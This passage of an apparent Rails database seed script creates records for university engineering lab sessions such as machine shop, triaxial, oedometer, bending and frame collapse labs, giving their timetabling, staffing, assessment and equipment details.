ActivityAssess.where(activity_id: a22.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a22.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a22.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a23 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 3)\n at23 = ActivityTimetable.where(activity_id: a23.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a23.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a23.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a23.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a23.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a23.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a24 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 4)\n at24 = ActivityTimetable.where(activity_id: a24.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a24.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a24.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a24.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a24.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a24.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a25 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 4)\n at25 = ActivityTimetable.where(activity_id: a25.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a25.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a25.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a25.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a25.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a25.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a26 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 1)\n at26 = ActivityTimetable.where(activity_id: a26.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a26.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a26.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a26.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a26.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a26.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a27 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 5)\n at27 = ActivityTimetable.where(activity_id: a27.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a27.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a27.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a27.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a27.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a27.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a28 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 3)\n at28 = ActivityTimetable.where(activity_id: a28.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a28.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a28.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a28.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a28.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a28.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a29 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 5)\n at29 = ActivityTimetable.where(activity_id: a29.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a29.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a29.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a29.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a29.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a29.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a30 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 5)\n at30 = ActivityTimetable.where(activity_id: a30.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a30.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a30.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a30.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a30.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a30.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a31 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 5)\n at31 = ActivityTimetable.where(activity_id: a31.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a31.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a31.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a31.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a31.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a31.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a32 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 1)\n at32 = ActivityTimetable.where(activity_id: a32.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a32.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a32.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a32.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a32.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a32.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a33 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100g\").first_or_create!(name: \"Engineering Applications Machine Shop 3\",\n name_abrv: \"EAMACH3\", archived: false, in_drive: true, user_id: 1)\n at33 = ActivityTimetable.where(activity_id: a33.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a33.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a33.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a33.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a33.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a33.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a34 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1200\").first.id, code: \"201\").first_or_create!(name: \"Bridge Building\",\n name_abrv: \"BRIDGE BLD\", archived: false, in_drive: true, user_id: 2)\n at34 = ActivityTimetable.where(activity_id: a34.id).first_or_create!(duration: 180, kit_prep_time: 210, min_week_num: 8, max_week_num: 9, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 210, takedown_time: 210, notes: \"After Bridge Design, Need PUPS\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a34.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a34.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a34.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a34.id).first_or_create!(cost_per_student: nil, equip_needed: \"PUPs, band saws, hot wire cutters, dremels, laser cutters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a34.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a35 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2500\").first.id, code: \"202\").first_or_create!(name: \"Triaxial Lab\",\n name_abrv: \"TRIAXIAL\", archived: false, in_drive: true, user_id: 3)\n at35 = ActivityTimetable.where(activity_id: a35.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 5, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Given the complexity of the set-up, and the fact that it leaves the lab dirty, GEO labs should be condensed in the same week/weeks as consecutive sessions without interruptions (other sessions or open days)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a35.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a35.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a35.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a35.id).first_or_create!(cost_per_student: nil, equip_needed: \"shimadzu, triaxial cells & trolleys, measuring kits, compressed air, weighing scales, large oven in materials lab\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a35.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a36 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV351\").first.id, code: \"202\").first_or_create!(name: \"Triaxial Lab\",\n name_abrv: \"TRIAXIAL\", archived: false, in_drive: true, user_id: 3)\n at36 = ActivityTimetable.where(activity_id: a36.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 5, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Given the complexity of the set-up, and the fact that it leaves the lab dirty, GEO labs should be condensed in the same week/weeks as consecutive sessions without interruptions (other sessions or open days)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a36.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a36.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a36.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a36.id).first_or_create!(cost_per_student: nil, equip_needed: \"shimadzu, triaxial cells & trolleys, measuring kits, compressed air, weighing scales, large oven in materials lab\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a36.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a37 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV351\").first.id, code: \"203\").first_or_create!(name: \"Oedometer\",\n name_abrv: \"OEDOMETER\", archived: false, in_drive: true, user_id: 2)\n at37 = ActivityTimetable.where(activity_id: a37.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 7, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Need PUPS (for setup)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a37.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a37.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a37.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a37.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a37.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a38 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2500\").first.id, code: \"203\").first_or_create!(name: \"Oedometer\",\n name_abrv: \"OEDOMETER\", archived: false, in_drive: true, user_id: 5)\n at38 = ActivityTimetable.where(activity_id: a38.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 7, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"Need PUPS (for setup)\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a38.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a38.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a38.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a38.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a38.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a39 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"204\").first_or_create!(name: \"Bending\",\n name_abrv: \"BEND\", archived: false, in_drive: true, user_id: 4)\n at39 = ActivityTimetable.where(activity_id: a39.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at39.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a39.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a39.id).first_or_create!(criteria: \"\",\n job_desc:\"In this lab, students perform 3-point bending tests on a series of beams with different cross-sections. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions from classical beam theory. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a39.id).first_or_create!(assess_weight: 10.0, notes: \"Lab report assessed by MEE\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a39.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a39.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a40 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"205\").first_or_create!(name: \"Plastic Collapse: Frames\",\n name_abrv: \"PC Frames\", archived: false, in_drive: true, user_id: 1)\n at40 = ActivityTimetable.where(activity_id: a40.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at40.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a40.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/8xku3D\",\n mole_pub_link: \"https://goo.gl/hWmGBG\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a40.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students will study the deformation and collapse of portal frames. This will build on their knowledge of the deformation and buckling of struts that they studies earlier in the course, showing them a practical application of the theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a40.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a40.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a40.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a41 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"205\").first_or_create!(name: \"Plastic Collapse: Frames\",\n name_abrv: \"FRAMES\", archived: false, in_drive: true, user_id: 1)\n at41 = ActivityTimetable.where(activity_id: a41.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at41.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a41.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a41.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with plastic theory and proficient with Excel.\",\n job_desc:\"In this lab, students will study the deformation and collapse of portal frames. This will build on their knowledge of the deformation and buckling of struts that they studies earlier in the course, showing them a practical application of the theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a41.id).first_or_create!(assess_weight: nil, notes: \"MOLE Test\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a41.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a41.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a42 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"206\").first_or_create!(name: \"Cantilever Truss\",\n name_abrv: \"Cantilever Truss\", archived: false, in_drive: true, user_id: 3)\n at42 = ActivityTimetable.where(activity_id: a42.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at42.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a42.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: 